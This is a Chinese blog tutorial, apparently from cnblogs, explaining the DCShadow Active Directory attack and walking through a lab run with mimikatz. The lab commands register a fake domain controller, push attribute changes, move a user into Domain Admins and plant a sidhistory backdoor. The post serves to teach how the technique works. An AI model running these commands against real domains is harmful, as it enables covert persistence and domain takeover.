zoukankan      html  css  js  c++  java
  • 域渗透之DCShadow

    简介

    在具备域管理员的情况下,攻击者可以创建伪造的域控,将预先设定的对象或者对象属性复制到正在运行的域服务器中,dcsync&dcshadow区别在于,前者从服务器复制出来东西,后者将数据复制进目标服务器使得正常的DC通过伪造的DC复制数据
    
    主要攻击步骤
    通过dcshadow更改配置架构和注册spn从而实现在在目标AD活动目录内注册一个伪造的的DC
    使得伪造的DC被其他的DC认可,能够参加域复制
    在伪造的DC上更改数据
    强制触发域复制,使得指定的新对象或修改后的属性能够同步进入其他的DC中
    
    前提条件
    DCShadow是需要拥有domain admins也就是域管权限,因为要注册spn值等,因此也就不算是权限提升的利用,反而是一种持久化利用
    

    原理分析

    注册伪造的DC

    机器想要注册成为域内的一台DC,需要在域内活动目录中注册一个NTDS-DSA(nTDSDSA)类对象,位置如下:
    CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=rootkit,DC=org,192.168.3.144 [OWA2013.rootkit.org]
    
    这里直接用的域控:
    objectCategory:CN=NTDS-DSA,CN=Schema,CN=Configuration,DC=rootkit,DC=org
    objectClass:top
    						applicationSettings
    						nTDSDSA
    						
    测试成功后其实是会生成一个新的NTDS-DSA(nTDSDSA)类对象,工具完成后会自动进行删除,所以这里并没有放进去
    

    另外这里不是用ldap协议创建的nTDSDSA对象,而是用的RPC方法,通过查看权限确认是需要拥有域管权限才可进行写入的操作
    

    注册的DC被其他DC认可参与域复制

    伪造的DC具备认证凭证,能够认证到域
    能够认证其他DC来访问的账号,对于这点可以利用SPN进行实现,此处必须明确添加哪些SPN,DCshadow的贡献就是找到了SPN的最小合集,只需要两点,DRS服务(GUID:E3514235-4B06-11D1-AB04-00C04FC2DCD2) &  GS服务(Global Catalog)
    
    DRS中实现IDL_DRSBind、IDL_DRSUnbind、IDL_DRSGetNCChanges、IDL_DRSUpdateRefs的接口,mimikatz已经支持
    

    强制触发域复制

    负责域复制&同步的进程是KCC进程,默认时间15分钟,也可以使用windows域服务器自带的repadmin,将调用DRSReplicaAdd函数进行域复制,dcshadow就是通过DRSReplicaAdd函数强制发起域复制
    

    实际使用

    环境

    测试环境,域控server2012,伪造机器win8
    
    实验过程中出现些坑,建议win8的机器上面关闭主动防御,两台机器都把防火墙关闭,不然可能会出现不确定因素!
    

    操作

    更改属性描述值

    第一个窗口需要system权限
    !+  注册并启动一个具有system权限的任务
    !processtoken  获得从服务器到当前mimikatz会话的system令牌,只要获得这个令牌就具备了伪造域控的所需权限
    

    第二个窗口,需要域管权限
    这里直接用psexec接入
    

    第一个窗口进行数据更改与监听
    lsadump::dcshadow /object:CN=yangy,CN=Users,DC=rootkit,DC=org /attribute:description /value:yang
    
    第二个窗口进行域复制
    mimikatz.exe "lsadump::dcshadow  /push"  exit
    

    修改前&修改后如下
    

    增加域管

    组id对应关系:
        512   Domain Admins
        513   Domain Users
        514   Domain Guests
        515   Domain Computers
        516   Domain Controllers
        
    查看组id:
    

    修改制定用户组id为domain admins
    

    推送如下
    mimikatz.exe "lsadump::dcshadow  /push"  exit
    

    成功如下
    

    再次查看组id&权限,确认已经变成domain admins
    

    sidhistory后门

    确认域控机器仅域管可访问,普通用户无法访问
    

    mimikatz.exe "lsadump::dcshadow /object:CN=dc,CN=Users,DC=rootkit,DC=org /attribute:sidhistory /value:S-1-5-21-3759881954-2993291187-3577547808-500"
    
    此处直接给目标用户域管的sid即可
    
    参考文章
    https://www.dcshadow.com/
    
    联系邮箱:yang_s1r@163.com 博客园地址:https://www.cnblogs.com/Yang34/
  • 相关阅读:
    tcp发送缓冲区中的数据都是由产生数据的进程给推送到ip层还是有定时任务触发?
    发生dev_queue_xmit的时候,全部都是从ip_finish_output中来的吗
    网络控制API 路由表 arp表 包括tcp的这些参数都是从哪里设置
    dev_queue_xmit 发生了什么?skb还会在哪里缓存
    内核blackhole
    网卡多ip 再看arp; arp队列也会缓存skb
    tcp发送缓冲区中的数据都是由产生数据的进程给推送到ip层还是有定时任务触发?
    socket有没有同步写一说(怎么判定数据一定达到了对端?还得用户态)
    貌似要看看时钟了
    读写JSON作配置文件
  • 原文地址:https://www.cnblogs.com/Yang34/p/14361582.html
Copyright © 2011-2022 走看看